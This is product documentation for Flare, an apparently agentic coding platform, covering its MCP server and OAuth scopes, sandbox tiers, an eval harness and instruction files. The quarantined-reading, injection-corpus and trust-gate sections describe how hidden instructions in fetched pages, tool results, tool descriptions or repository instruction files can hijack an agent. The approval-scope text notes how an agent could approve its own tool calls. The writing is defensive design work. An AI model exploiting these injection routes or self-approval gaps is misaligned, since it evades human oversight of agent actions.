Plugins can also release what they hold: an optional `dispose()` is called when the engine closes, and — for connector-backed plugins — when the connector manager rebuilds them after a valve edit. Without it, a plugin owning an OS handle would leak one instance per toggle. A `dispose()` that hangs (or throws) is reported, after at most 5 seconds, and the host moves on to the next plugin, so one plugin cannot hold the engine open.

**Configuration** — `.flare/plugins/*.mjs` or `*.js` in the workspace; the hidden `safety.plugins` (off by default, not writable from the page) to arm them, on top of the workspace trust gate.

### Interactive MCP-app UIs

**What it does** — When an MCP tool returns an inline-HTML UI resource (a `ui://` URI or HTML MIME type), Flare renders it as a working mini-app in the **Interactive** pane — forms, pickers, dashboards served by the tool itself. The pane is read-only toward the agent: nothing an app submits reaches the run.

**Where to find it** — The Workbench; the Interactive pane appears whenever the session has MCP apps, listing them as chips by tool name.

**How to use it** —

1. Call an MCP tool whose server returns a UI (the app appears in the Interactive pane; click its chip to open it).
2. Interact with the app. If it tries to submit data, the submission is refused and the pane notes "This view is read-only: nothing an app submits reaches the agent."

**How it works** — Each app runs in an `allow-scripts`-only sandboxed iframe (origin-null — no access to Flare's DOM, cookies, or storage) under a CSP that blocks all network egress; the only channel is a postMessage bridge (`window.flare.submit/notify/resize/ready`) whose every payload is re-validated against an allow-listed protocol. An app receives the tool's `structuredContent` as the answer to `window.flare.ready()` and as a `flare:data` window event. A `ui/submit` is answered as not queued and goes nowhere, so a remote server can't inject prompts through it. (The server's `ui-submissions` route still exists for API clients; it wraps the data as untrusted and resolves no `@`-mentions in it.) Apps pointing at external URLs are deliberately not rendered (a cross-origin frame can't be egress-blocked).

### Hosting external ACP agents

**What it does** — Runs third-party coding agents (Claude Code, Codex, Gemini — anything speaking the Agent Client Protocol) _inside_ Flare: one prompt turn on an external agent becomes a fully event-sourced Flare session you can watch live and replay later, with the agent's messages, tool calls, and terminal output mapped onto Flare's existing event types.

**Where to find it** — API-only: `GET /projects/:id/acp/agents` lists the registry, `POST /projects/:id/acp/runs` with `{"agent": "claude", "prompt": "…"}` starts a turn (returns `202` with the new `sessionId` — open it in the normal session UI), and `POST /projects/:id/acp/runs/:sessionId/cancel` stops one mid-flight.

**How to use it** —

1. Register agents in `.flare/acp.json`: `{"agents": [{"name": "claude", "command": "claude-code-acp"}]}` (optional `args` and `env`).
2. POST a run selecting the agent by `name` — a request can never supply a command line.
3. Watch the session stream in the Workbench like any native run.

**How it works** — Flare spawns the agent over ndjson stdio via the official ACP SDK and event-sources the turn using existing event types only — zero new capture. The config is trust-gated exactly like `flare.mcp.json` (an untrusted workspace's registry is never read), the child process receives a filtered environment rather than the raw server env, filesystem/terminal capability requests are refused, permission requests default-reject, and every agent-controlled string is secret-masked. ACP agents run only on the `local` sandbox tier: on a confining tier the registry is ignored with a warning, since the agent would run on the host outside the sandbox.

**Configuration** — `.flare/acp.json` (duplicate names are rejected loudly).

### Flare as an MCP server

**What it does** — Flips the relationship: the running Flare server is itself an MCP server, so another agent (Claude Code, an IDE, a script) can drive it — creating durable sessions, running prompts, inspecting events and diffs, resolving approval gates, and working the board: listing cards and what each is doing, refining, answering, approving, starting, reviewing and landing them. Its sessions, approvals and cards are the same ones the web GUI shows.

**How to use it** —

1. Run Flare (`pnpm dev` or `pnpm dev:stable`). MCP is served at `http://127.0.0.1:8787/mcp` (Streamable HTTP).
2. Add it to the client: `claude mcp add --transport http flare http://127.0.0.1:8787/mcp`.
3. The client opens Flare's consent page (`/connect`) in the paired browser. It names the client as the client names itself and where the answer goes, and asks what to grant:
   - **Scopes** — `Read` (projects, sessions, the board, ideas, memory, instructions, diffs) and `Drive` (start sessions and runs; add, edit, refine, answer, start and stop cards, and send a shipped card's failing CI to an agent; generate, move to the board, archive and restore ideas) start ticked; `Approve tool calls` and `Land work` (approve, request changes on, resolve conflicts on, merge, ship or delete cards; delete ideas) start unticked. Ticking both `Drive` and `Approve` warns that the app could run agents and approve their tool calls itself.
   - **Projects** — all projects (including ones added later) or chosen ones.
4. Approve. The client receives a token and the tools of the granted scopes, out of 36 in all: `flare_list_projects`, `flare_create_session`, `flare_run`, `flare_start`, `flare_resume`, `flare_get_session`, `flare_list_sessions`, `flare_get_events`, `flare_get_changes`, `flare_pending_approvals`, `flare_resolve_approval`, the sixteen `flare_board_*` tools (`list`, `get`, `diff`, `add`, `edit`, `refine`, `answer`, `start`, `stop`, `request_changes`, `resolve_conflicts`, `fix_ci`, `approve`, `merge`, `ship`, `delete`), the seven `flare_ideas_*` tools (`list`, `generate`, `stop`, `promote`, `archive`, `restore`, `delete`), `flare_memory_list` and `flare_instructions_list`. Memory and instructions are read-only over MCP on purpose: a fact or a rule enters every later prompt, so adding, editing and reviewing them stays with a person in Flare (or the SDK). Every tool but `flare_list_projects` takes an optional `projectId`; it may be left out when the grant reaches one project.
5. **Your account → Integrations → Connected apps** lists each grant — its scopes, projects, when it connected and was last used — and revokes it. Revoking ends that app's MCP sessions at once, stops any card it set running, and its next request is told to connect again. On a hosted server each person sees only their own connected apps, each named with its owner ("Approved by …"), and the empty list gives the command with the server's own public address instead of `127.0.0.1`; the consent page sets the address its answer goes to apart ("Its answer goes back to …. Approve only if that is the app you are connecting.") and says "This connection will act as you, <name>: what it does is recorded as yours."; the instance owner also sees the ones that act as no one (a disabled person's, or one from before owners were recorded once others have accounts), so they can be revoked.

**How it works** — Flare is its own minimal OAuth 2.1 authorization server: discovery (`/.well-known/oauth-protected-resource`, `/.well-known/oauth-authorization-server`), dynamic client registration for public clients whose redirect is a loopback address, PKCE (S256 only), single-use 60-second codes, one-hour access tokens and 30-day refresh tokens that rotate on every use. A rotated-away refresh token or a replayed code coming back revokes its grant, since someone else has seen it. Grants live in `FLARE_HOME/mcp-grants.json`, owner-only, holding token hashes — never a token; a file Flare cannot read turns MCP off (503, with the reason) and is never overwritten.

The consent decision is behind the API token like every other route: only the paired GUI can approve a request. A request an agent starts still needs a person to approve it, which is why the page says to approve only a connection you started yourself. Registration, authorize, token and revoke are reachable without the API token (a client holds none) but keep the Origin check (and, on loopback, the Host check).

On a hosted server the consent page needs you signed in, and the decision needs a browser session: the grant then belongs to whoever approved it, and every tool call over `/mcp`, board calls included, runs as that person. Each request checks again: once the person is disabled or deleted, the grant's token is refused as invalid, mid-session too, and its refresh token answers `invalid_grant`. A grant reaches only the projects its person works on, read again on every call: a grant to **All projects** means all of theirs, and a project they are removed from answers `unknown project` on the next call, mid-session too. Each driver tool asks the person's project role as the HTTP routes do — a contributor reads and drives sessions but cannot resolve a tool approval ("this needs a maintainer of this project") — and board tools go through the routes themselves. The decision refuses a chosen project the person does not work on (400 "you can only connect projects you work on"). The first person to open a consent request in a signed-in browser holds it (a personal API token holds none): anyone else opening or deciding it meets an expired request. A person holds at most two opened requests (opening a third drops their oldest), and at most fifteen of the twenty waiting places are held at once, so filling them takes eight people and a new request always finds room; opening one past that answers 409 "too many connection requests are open right now" and holds nothing. Registering a client and asking for consent need no credential, so a hosted server counts both per client address (the address the sign-in limits use, an IPv6 /64 as one): 20 registrations and 60 consent requests in any 15 minutes, then 429 "too many connection requests from this address" with `Retry-After`. A client behind a proxy Flare cannot see past (`server.trustProxy` none) is not counted, since one shared count would let anyone refuse everyone. An approval traded for tokens after its person was disabled answers `invalid_grant`. A grant from before owners were recorded acts as the owner only while the owner is the only account, and is refused once anyone else has one; first-run setup revokes every such grant before the owner exists (if that fails, setup answers 503 and the setup link stays unspent). On a desktop install grants have no owner and act as the local owner.

**Protocol revisions** — `/mcp` serves both the 2025 revisions and 2026-07-28. A 2025 client gets a session, under the caps below; a 2026-07-28 client is served statelessly, one request at a time, with at most eight in flight per grant. Detached runs and their failures are kept per grant, not per session, so a run started with `flare_start` is seen by the grant's next request in either revision. Tools are always listed in the same order.

**Tasks** — A client that declares the `io.modelcontextprotocol/tasks` extension gets a task back from `flare_run`, `flare_board_merge`, `flare_board_ship` and `flare_board_resolve_conflicts`, and polls `tasks/get` for the result, so no request is held open past the client's timeout. A task is visible only to the grant that started it and is kept six hours after it starts. `tasks/cancel` stops a run; a merge already landing finishes, and its task says so.

**Tracing** — A W3C `traceparent` in the request's `_meta` on `flare_run`, `flare_start` or `flare_resume` nests the run's OpenTelemetry export under the caller's span; a malformed one is ignored.

**Client ID Metadata Documents** — Besides registering, a client may use an https URL as its `client_id` (`client_id_metadata_document_supported` in the server metadata). Flare fetches that document on each authorize — public hosts only, at most 5 KB — and accepts it only if its `client_id` is the URL itself, it declares no secret, and every redirect is a loopback address. The document must be served at that exact URL, never through a redirect, and the request is checked before anything is fetched; each counts against the registration limit. The consent page then says, apart from the name the app gives itself, that Flare fetched its description from that host. Without a transport that can check the address it connects to, URL client ids are refused.

Reads and approvals are the project's, as the GUI shows them. `flare_run` and `flare_resume` reach only sessions the grant created (remembered with the grant, so they survive a restart); card sessions are driven through the board tools. A grant holds at most eight MCP sessions, shedding its own oldest; a full server refuses a new session rather than end someone else's.

Sessions map to explicit ids, streaming maps to event polling (`flare_get_events` from a sequence number), and an approval-gated run blocks in `flare_run` until something resolves the gate — the GUI, or the client itself with `Approve tool calls`. Tool errors return as graceful `isError` results, never transport crashes. A project the call cannot reach is refused exactly as an unknown one is.

**Blocking or detached — pick deliberately.** `flare_run` blocks for the whole
run, and the MCP SDK's default client request timeout is **60 seconds**, which
any real multi-step run exceeds. So there are two ways to drive a long run and
you should choose one on purpose:

- **Raise the client's request timeout** and keep using `flare_run`. It returns
  the run result and the last assistant message in one call. If the caller
  cancels — a timeout, or a person pressing stop — the run **stops**: the abort
  reaches the engine, which treats it as a clean stop, so the run ends terminal
  with whatever it had already done.
- **Use a client that takes tasks** (above): the long tools answer with a task
  the client polls, so no timeout applies to the call itself.
- **Use `flare_start`** for anything long or unattended. It returns as soon as
  the run is under way and is deliberately **not** tied to the request, so the
  run survives a cancelled or timed-out call. Poll `flare_get_session` for
  `status`/`steps`/`lastText`, or `flare_get_events` from a sequence number for
  the full stream.

`flare_start` reports a failure that never reached the event log — the engine
refusing a second live run, say — as a `startError` field on the next
`flare_get_session`, since a detached run has no other way to tell you it never
began.

A connection runs at most four detached runs at once; a fifth `flare_start` is
refused, naming the four, until one finishes.

A privileged scope is one that answers for a person. `Approve tool calls`
serves `flare_resolve_approval`: the `ask` tier gates the RUN, not the caller,
so an agent holding both `flare_run` and `flare_resolve_approval` approves its
own tool calls. `flare_pending_approvals` lists the project's whole approval queue, a card
agent's approvals included, as the GUI shows it. `Land work` serves the board's six gate tools. `flare_get_changes`
caps its diff at 100,000 characters and its file list at 500 entries,
announcing the truncation and always reporting the true file count; each
project's own credential globs are withheld from its diffs.

**Driving the board.** The `flare_board_*` tools act through the server's own
board routes, in-process, so every refusal the board gives in the browser it
gives here, word for word. `flare_board_list` gives each card's lane, its phase
(`waiting-on-claude`, `drafting`, `preparing`, `needs-answers`, `needs-decision`, `blocked`, `ready`,
`approved`, `implementing`, `review`, `interrupted`, `failed`, `merged`),
`working` — whether an agent is on it right now — and `attention`, what it
waits on from a person. `flare_board_get` adds the brief, plan, open questions,
review signals and `actions`: the tools the board would accept for that card
now, computed by the same transition rules the board's buttons use.
`flare_board_diff` returns a card's diff (its worktree, or its merge once
landed), truncated with a notice when large. A plan's open decisions are
answered by editing the plan (`flare_board_edit`). `flare_board_fix_ci` sends a
shipped card's failing CI to an agent: on its pull request's branch, or, for a
merged card, on a new Backlog card forked from it. The
gates — signing off a plan, instructing a card's agent (request changes, resolve
conflicts), landing work,
publishing it, or discarding it — need `Land work`, since an agent holding them
could take a card it wrote from idea to merged with nobody looking. A card's
agent implements in `auto` mode, so what reaches it is held to that:
request-changes is a gate because its message becomes the agent's instructions;
over MCP only a Backlog card is editable, so the plan a person approved is the
plan that runs; and restarting a failed card that still has its agent needs the
gates too, as the delete it is. Their overrides (merge despite failed
verification, land past a secret-scan finding) are not offered over MCP at all:
a refusal there is final, and the override stays a person's call on the board.

### Headless one-shot runs — `flare-run`

**What it does** — Runs a single prompt to completion against the configured workspace with no GUI: the assistant's final reply prints to stdout (pipeable), everything else — model/mode banner, workspace diff, run status — goes to stderr, and the exit code reflects the run status so CI can gate on it.

**How to use it** —

1. `pnpm --filter @flare/server run-once "fix the failing test in src/math.ts"`.
2. Set **Safety → Default autonomy mode** to `auto` for a run that edits (the default, `read-only`, only reads). Floors and ask rules still apply, and with no human present an ask-gated action would wait forever.

**How it works** — The same engine build as the server (same tools, permissions, event store); only the surface differs — one prompt in, one answer out.

### The SDK — `FlareClient`

**What it does** — `@flare/sdk` exports a typed, dependency-thin client over the whole HTTP + SSE API: sessions and runs (`createSession`, `startRun`, `stopRun`), live streaming (`streamEvents`, `streamProjectEvents` as async generators of typed events), approvals and questions, workspace changes (`getChanges`, `getDiff`, `applyChanges`, `revertChanges`), fleet/backlog control, and management surfaces (connectors, MCP servers, permissions, memory). It also re-exports the core projections (trace, artifacts, MCP apps), which is exactly how the web GUI is built.

**How to use it** —

1. `const client = new FlareClient({ baseUrl: "http://127.0.0.1:8787", token })` — the token is `~/.flare/api-token`, or your `FLARE_API_TOKEN`.
2. Scope to a project: `const p = client.project("p_2449f1b1")` — every call on the scoped client targets `/projects/:id/…` (auth and project CRUD stay on the root client).
3. `const { sessionId } = await p.createSession(); await p.startRun(sessionId, { prompt: "…" });` then `for await (const ev of p.streamEvents(sessionId)) { … }`.

**How it works** — A thin fetch wrapper: server `{ error }` reasons surface in thrown messages, and cancelling a stream's signal aborts the server-side subscription. The GUI has no privileged path — anything it does, the SDK can do. A route without a named method is still reachable, typed by the generated route table: `client.call("POST /projects/{projectId}/acp/runs", { projectId }, body)` checks the path parameters and the body type, and answers the JSON unchecked. `pnpm gen:sdk-routes` writes that table (`packages/sdk/src/routes.generated.ts`) from the server's `/openapi.json`, and a test fails when it is stale ([Known limits](#known-limits-and-decisions)).

**API-only on purpose** — These capabilities have a route and an SDK method and no screen, and that is a decision, not a gap: `compactSession` (compact a session's context now; the Workbench shows only the context gauge), `resumeRun` (continue a session with a new prompt; a board card continues with Continue or Request changes), `getInterruptedRuns` and `resumeInterruptedRun` (recover a run a restart cut off), `listProcesses` and `stopProcess` (the agent's background terminals), `listHooks` (the command hooks in force) and `listConnectors` and `updateConnector` (the connector bundles in `.flare/connectors.json`, which have no settings pane). A person works with a card, not a chat, so none of them is a button. A message cannot be sent into a run someone else started: there is no steer. To change the course of a card, stop it and request changes.

### Windows confinement — the sandbox-runtime tier

**What it does** — The `os` tier wraps the platform's own primitive — Seatbelt on macOS, `bwrap` on Linux — and Windows has no user-space equivalent to wrap, so without this tier a Windows card falls back to `local`, which confines nothing: the permission engine is the only thing in the way, and board cards implement in `auto`. Node's own `--permission` flag is not the answer either, since it does not inherit to child processes and therefore cannot constrain `run_command`, which is the thing that needs constraining.

**Settings → Safety → Sandbox tier → Windows (sandbox-runtime)** runs each command as a dedicated local account (`srt-sandbox`) that is granted writes **only** to the project folder, with egress refused by Windows Filtering Platform rules. It confines one-shot commands and long-lived background terminals identically, so a dev server started by the agent is inside the same box as an `ls`. Inside the project, `.git/`, `flare.mcp.json` (or the file `mcp.configPath` names) and the whole of `.flare/` are denied to that account — a file created there later (a new `.flare/hooks.json`) included — and `.flare/worktrees/` is granted back explicitly, which outranks the inherited deny, so card worktrees made after the server started stay writable. Flare refuses to create a card worktree where something already exists, or whose folder resolves outside the repository, and removes one that landed outside after the fact; on every tier, a `.flare/worktrees` deliberately linked to another drive is refused too. The tier refuses to start if `.flare` or `.flare/worktrees` is a junction (its grant or deny would land wherever it points), and if the sandbox account can create a file in the project's parent folder, at its drive's root, or at the root of any other fixed drive (removable and network drives are not checked). A secondary drive's root lets every signed-in account modify it by default ("Authenticated Users"), and the per-session ACEs only add to what the account already holds, so such a drive would leave every folder on it writable — another repository's `.git/hooks` included, wherever the project itself lives. If the fixed drives cannot be listed, the tier refuses rather than start unchecked. Only roots are probed, so what Windows itself lets every account write is still open to the sandbox account: a new folder at `C:\` (the default ACL allows it), a folder below a root that grants "Authenticated Users" write, a removable drive (a FAT or exFAT one has no ACLs at all), and a volume mounted as a folder. Check those with `icacls` if they matter; the `container` tier has none of these gaps. The refusal names the `icacls` commands that fix it; keeping projects under your user profile avoids it.

**How to use it** — One administrator-elevated install, once per machine:

```
npx @anthropic-ai/sandbox-runtime windows-install
```

It self-elevates (one UAC prompt), provisions the account and group, installs the filters, and needs no logout. Then pick the tier in Settings and restart. Until the install is done, selecting the tier **refuses to start and says why** rather than quietly running unconfined — a safety tier that silently no-ops is worse than none, because you would believe you had it.

**What it costs you, plainly** — **One workspace root per server process.** The helper fixes the write scope when the session initializes and its manager is process-wide, and every card runs in its own worktree — so after the first card, every other card, and any second project, is _refused_ until Flare restarts, rather than silently confined to the first root. Concurrent projects want the `container` tier. Egress is allow-only: with **Safety → Allow sandbox network** off the confined child has no network at all, and with it on it reaches only **Safety → Domains the sandbox may reach**.

**How it works** — Confinement is a separate tier rather than `os` gaining a third platform, deliberately: it comes from a **vendored third-party helper** rather than the operating system, and it needs that elevated install, so an operator should choose it knowingly instead of receiving it because they wrote `os`. Readiness is checked synchronously at construction — account provisioned, in its group, credential readable by this process, filters not _absent_. Filter **enumeration** is admin-only on Windows, so a healthy unelevated install reports "cannot read" and that is accepted; only a positive `absent` refuses. "Could not check" is not "not there".

**How it is verified** — By a differential test against the real install, not by a green unit suite: a write **outside** the workspace must fail while confined, the **same** write must succeed unconfined, and a write **inside** the workspace must succeed confined. Two arms would not be enough — a tier that blocked everything would pass "the outside write failed", and so would a simply-invalid path. On a machine without the install the test skips, and it fails rather than skipping if the reason is anything other than the two it is allowed to skip for.

### Quarantined reading — the agent never sees the hostile bytes

**What it does** — Tagging untrusted content and scanning it for injection are both _advisory_: they tell the model the text is hostile data and then hand it the text. Quarantined reading is the defence that is not advisory. Name a source class in **Settings → Safety → Quarantined reading** and the agent stops reading that source's output at all: a separate, **tool-less** model call summarizes it, and the agent reads only the summary. An instruction hidden in a fetched page then has nothing to hijack — the call that read it holds no tools, and the loop that holds the tools never saw the page.

**How to use it** — Add the classes you want covered: `connector:fetch`, `connector:browser` (the `browse` tool), `mcp` (or a single server, `mcp:github`), `memory`, `agent`. Matching is on a `:` boundary, so `connector` covers both connectors and `mcp` covers every MCP server, while `mem` covers nothing. Empty — the default — means the agent reads the real output, tagged and scanned, and no extra model call is ever made.

**What it costs you, plainly** — One extra model call per result from those sources, and the agent loses the verbatim text: it cannot quote an error message it never saw, or act on an exact path buried in a page. That is the trade, and it is why this is opt-in per class rather than a global switch.

**How it works** — The swap happens in the same guard every tool result already passes through, so it covers a string result, a structured result, and a thrown error alike — the three shapes that have each been a hole here before. Two properties are worth stating because both are deliberate:

- **The summary is still quarantined.** It was written from hostile text, so it is hostile text's derivative; a summary treated as trusted would launder exactly what this stops.
- **It fails closed.** If the summarize call cannot be made — no credential, a timeout, an unreachable model — the content is **withheld** and the agent reads nothing. Falling back to the raw bytes would switch the guarantee off at precisely the moment something is already wrong. The run says so in the log, and the model is told the content was withheld rather than handed a silently empty result.

Strict injection blocking takes precedence and skips the summarize entirely: a payload already being withheld should not also be paid for.

### Eval harness — measure the agent, not just pass/fail

**What it does** — `@flare/eval` benchmarks the agent loop end to end: each task seeds a fresh temp workspace (fixture files, or a real git repo at a base commit), hands the agent a problem statement and the real coding toolset — `run_command` excluded unless the task sets `toolOptions.includeRunCommand: true`, since a benchmark run has no permission engine, no sandbox and nobody to answer an "ask" — then decides "resolved" by verification — re-running the task's own test command and checking its exit code (the SWE-bench signature) or a programmatic check over the final workspace.

On top of that boolean sit the three things that make it an _instrument_ rather than a pass/fail light:

- **Scored transcript checks.** A task can carry named, weighted assertions that read the whole run, not just the final workspace — which tools were called and how many times, what the agent actually said, as well as what the files ended up containing. "Still 3/5" hides a task that now solves itself in four tool calls instead of forty, and it hides a task that fixed the file but stopped telling the human what it did. A throwing check is a _failed_ check, never a crashed suite.
- **Variance across repeats.** `--repeat N` runs each task N times and reports the spread (mean, standard deviation, min, max) of steps, tool calls, duration, and score — and flags a task **FLAKY** when it resolves on some runs and not others. That is the finding a single run structurally cannot produce: an intermittent task is not a passing one, and one run reports it as whichever it happened to be that time. A deterministic solver has a standard deviation of zero, which is what makes a non-zero value on a real model mean something.
- **A dataset loader.** Instances are shaped like SWE-bench rows — repo, base ref, problem statement, a test patch applied _before_ the agent runs, and the verify command whose exit code decides resolution — loaded from `.json` (an array) or `.jsonl` (one object per line). It is deliberately not a downloader: point it at repos you already have (a clone, a submodule, a checkout script). A patch that does not apply fails the task loudly rather than quietly running the agent against the wrong tree.

**Where to find it** — A CLI, an SDK-level route, and a library:

```bash
# Run a project's own behavioural evals; EXITS NON-ZERO on a miss, so it gates a build.
pnpm --filter @flare/server eval ./evals.json
pnpm --filter @flare/server eval ./evals.jsonl --repeat 3      # variance mode
pnpm --filter @flare/server eval ./evals.json --concurrency 4

# The injection corpus: no dataset argument, no model, no credential. Non-zero on a miss.
pnpm --filter @flare/eval eval -- --injection

# Do the TASKS measure anything? Two trials per instance, no model, no credential.
pnpm --filter @flare/eval eval ./evals.json --validate
```

**Task validation** — A dataset row is `{instruction, setup script, verification command, oracle solution}`, and the first three decide whether an agent passed while the fourth is the only thing that says whether passing meant anything. `--validate` runs each task twice with **no model and no credential**: once on the untouched workspace, which must **fail**, and once with the oracle patch applied, which must **pass**. It exists because two broken tasks are invisible in a report, since both look exactly like an ordinary result — a **vacuous** task whose verification already exits 0 before anyone touches the tree, which every agent "resolves" including one that does nothing, and an **impossible** one that fails even with the known solution and so reads as a permanent red people learn to scroll past. The first inflates a score; the second destroys trust in it. A harness failure (a patch that does not apply, a setup step that exits non-zero) is reported as an `error` rather than folded into either, because sending someone to rewrite a verification when a diff had the wrong context is the wrong end of the problem. An instance with no oracle is reported **skipped**, never passed: without a known solution there is no way to tell a real task from a vacuous one, and counting that as success is the same vacuous-gate shape one level up. Instances declare `platforms` when their commands are not portable, and a skipped instance is counted apart from a checked one so a suite that quietly shrinks to nothing on Windows is visible rather than green. A dataset is code: its setup and verification commands run on your machine, unconfined, with credential-named environment variables removed, so validate only a dataset you would run yourself. `packages/eval/examples/environment-state.json` is the shape as a file to copy, and the test suite validates it — an example fixture nobody runs rots into one that does not work.

`POST /eval/run` drives the same harness from the API using the install's own credentials, so a suite can run on the model you actually ship with. The model id is **allow-listed** against the offered catalog — a route that ran whatever model id a caller named would be a way to spend money on a model the install never chose. Repeat and concurrency are ceilinged there too: a repeat is N full runs of the suite.

**How it works** — Every run is fully event-sourced, so a task's result carries the complete event log, the change list, and a unified diff of everything the agent edited; verification stays separate from run status, so a budget-exceeded run is distinguishable from a clean miss. The CLI **fails closed** in three directions that would otherwise become a silently green build — an unreadable dataset, a _missing_ dataset, and an **empty** one (0/0 is not success) — and each says which it was. A flaky task fails the build too: a gate that green-lights a coin flip is the thing variance exists to expose. A dataset run needs a model: the package CLI refuses one without it (exit code 2) and points at `pnpm --filter @flare/server eval <dataset>`, which runs on the install's configured model. `--validate` and `--injection` need no model.

**Injection-resistance corpus** — The same package carries the harness's second dataset shape, and this one needs no model, no credential and no workspace: `flare-eval --injection` runs a corpus of payloads against the **real guard chain in process** and reports a detection rate and a false-positive rate. The injection scanner, untrusted-content tagging, NFKC + `\p{Cf}` de-obfuscation and the strict withhold mode each have unit tests; the corpus is one set of payloads run against the _assembled_ chain with a stated expected verdict per row, across all four surfaces a third-party payload can arrive on — a tool result, a non-string result, a thrown error, and the tool's own **description**, prose the model reads and obeys before it calls anything. Adding a payload is a data row rather than a test file, and every row states the defence or the incident it pins, so a future change that breaks one can be judged instead of re-baselined. The benign half is not padding: a scanner that flags the security documentation which merely _discusses_ instructions and API keys prints a banner nobody reads, so half the corpus is prose that must come back clean.

**Retrieval benchmark** — The same package measures _memory_ rather than the loop: `runRecallBenchmark` scores a `MemoryStore` over labelled query→relevant-id cases and reports precision, recall, and mean reciprocal rank. It disqualifies the default embedder — the built-in hashing `HashEmbedder` scores 11.1% precision and 33.3% recall on a small paraphrase set, returning _nothing at all_ for four of six paraphrased questions. That is the measurement behind the advice in [Real semantic embeddings](#real-semantic-embeddings): if you rely on memory, configure a real embedder. The same benchmark is what qualified the `local` one — 33.3% precision, 83.3% recall, and a relevant answer for all six paraphrases — and it is kept as a test that re-runs whenever the weights are on disk, so the claim can be re-measured rather than believed.

**`--threshold P`** on `flare-eval` lowers the CI bar from _all_ to a pass rate: `--threshold 80` passes at 80% or better. The default is all of them. It exists because a real dataset has instances nobody intends to solve this quarter, and a gate that can only ever be red is a gate people stop reading. It is refused in combination with `--repeat`, which asks a different question: variance asks whether a task is _deterministic_, and a flaky task is not 80% deterministic.


## Memory, Instructions & Safety Net

Flare gives the agent durable knowledge — standing instructions that steer every run and a long-term memory it can search — and wraps everything the agent does in a layered safety net: secret masking, untrusted-content quarantine, prompt-injection detection, an install firewall, sandbox tiers, and SSRF-safe egress. Most of the knowledge surfaces live on the project Settings page (`/p/p_2449f1b1/settings`); the safety layers are always on and mostly invisible until they fire. This section covers both halves.

### Auto-loaded instruction files (AGENTS.md / CLAUDE.md)

**What it does** — Either of `AGENTS.md` or `CLAUDE.md` at the workspace root is automatically concatenated into the system prompt of every run — cross-vendor standing instructions with zero setup. As in the AGENTS.md convention, a non-empty `AGENTS.override.md` is read instead of the `AGENTS.md` in the same folder. Nested files are honoured too, nearest-file-wins: when the agent reads, creates, or edits `packages/core/src/loop.ts`, the instruction files at every level between the root and that file ride along with the tool result, so a monorepo package's own conventions reach the agent whether a human @-mentioned the path or the agent found it on its own.

**Where to find it** — Settings → Instructions: open the project Settings page (`/p/p_2449f1b1/settings`) and click **Instructions** in the section nav. Each root file is listed with an **active** badge when it exists and is applied, or a **not created** badge otherwise, plus a size chip (⚠ above 16 KB, with a warning that it loads into every run) and a content preview; **View** opens the whole file rendered as markdown. Rows are informational/read-only, with no Edit or Create button; edit these files by hand on disk. Rules read from other harnesses' folders are listed below the root files. The Project Settings [Instructions](#instructions) pane covers the same surface.

![The Instructions panel — root instruction files with their active badges, and the rules list](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/settings-instructions.png)

**How it works** — The instruction text is assembled once at engine start, so a hand-edited root file takes effect on the next engine start (restart, or after the project idles out). As a trust gate, instructions are skipped entirely for a workspace you have not yet trusted (e.g. a freshly cloned repo) — root instruction files flow verbatim into the system prompt, which would otherwise be a direct injection vector; the nested per-file attachment is behind the same gate, and refuses instruction files under ignored paths (`node_modules`, `.git`, …) so a dependency's own AGENTS.md can never steer a run. Nested files are sent once per session and bounded (16 KB per file, 64 KB per session), so a wide run cannot spend its context re-reading conventions it already has.

**Configuration** — `AGENTS.md` (or `AGENTS.override.md`), `CLAUDE.md` at the workspace root and in any subdirectory (all optional; loaded in that order per directory). A root file over 512 KB is not loaded, and the prompt says so. The per-session budget for nested files is the hidden `memory.nestedInstructionSessionBytes` (default `64000`). Rules other harnesses keep in the repository (`.cursor/rules`, `.github/instructions`, `.kiro/steering`, `.junie/guidelines.md`) load alongside these unless the hidden `instructions.foreignRules` is off; see the Project Settings [Instructions](#instructions) pane.

### Standing rules (.flare/rules)

**What it does** — Scoped standing instructions, one markdown file per rule under `.flare/rules/`. Optional frontmatter controls scope: `alwaysApply: true` injects the rule into every run's system prompt; `globs:` targets specific files (e.g. `*.ts, src/**`); a rule with neither is **manual** — stored and visible, never auto-injected.

**Where to find it** — The same Settings → Instructions section, below the root files. Each rule shows its scope badge (**always** / **glob** / **manual**), its globs, and an **active** badge when it is currently injected.

**How to use it** —

1. Click **New rule**.
2. Give it a name (a filename-safe slug), an optional description, and the prompt body.
3. Toggle "Apply to every run" and/or add comma-separated file globs to scope it.
4. Click **Create**. Deleting a rule (via **Delete**, then confirming in the "Delete rule?" dialog) removes its `.flare/rules/<name>.md` file.

**How it works** — Always-apply rules are appended after the flat root-file instructions when the system prompt is assembled; a project with no `.flare/rules/` directory gets a byte-identical prompt to one without the feature. Like root files, rules are disabled for an untrusted workspace. A rule saved or deleted in the pane steers the next run; if a run is in progress, it applies once the project's work finishes. A hand-edited file applies on the next engine start. A rule whose text looks like a credential is refused rather than saved.

**Configuration** — `.flare/rules/*.md`; recognized frontmatter keys: `name`, `description`, `alwaysApply`, `globs`.

### Refine a standing instruction with AI

**What it does** — A one-click polish pass on whatever you're currently writing in the rule editor — a rule's body. A bounded, read-only, tool-less model call sharpens and better-organizes the text (fixes ambiguity, removes redundancy) without inventing project facts it wasn't told, and without changing the author's intent or roughly the length. The rewrite replaces the editor's textarea in place — nothing is saved until you click Save/Create yourself, so you can compare, tweak, or discard it like any other edit.

**Where to find it** — The **AI ✨ Refine** button in the footer of the instruction editor (Settings → Instructions → **New rule**, or **Edit** on a rule), beside Cancel and Save/Create. Disabled while the draft is blank. If the text is already clear, it says so ("Looks clear already 👍") instead of forcing a rewrite.

**How it works** — The same safety shape as the rule suggester on this page: the model call carries NO tools, so it can only emit text; the draft is framed strictly as DATA to refine, never as instructions to follow — load-bearing here since this text is headed straight into a future run's own system prompt. The suggestion is secret-masked before it reaches the editor.

### Suggest a rule from recent runs

**What it does** — Turns the friction from your recent runs into a proposed standing rule. Flare reads the last few sessions' insights — where runs spun on a repeated tool call, hit repeated errors, or ended without completing cleanly — and drafts a short `.flare/rule` that would help future runs avoid that friction. You review, name, and save it like any hand-written rule; nothing is written automatically.

**Where to find it** — The **Suggest a rule from recent runs** button in the Settings → Instructions section, beside **New rule**. It opens the rule editor prefilled with the suggested body (you fill in the name and click Create). If your recent runs went smoothly it says so ("No recurring friction in recent runs… 👍") rather than inventing a rule.

**How it works** — The friction is aggregated from the same `buildInsights` projection the card inspector's Trace tab shows per run (a pure read over the event log — no new capture, only the human's own main sessions), then a bounded, read-only, tool-less model call proposes the rule from that summary as data. The suggestion is secret-masked and becomes a rule only when you save it through the normal instructions path.

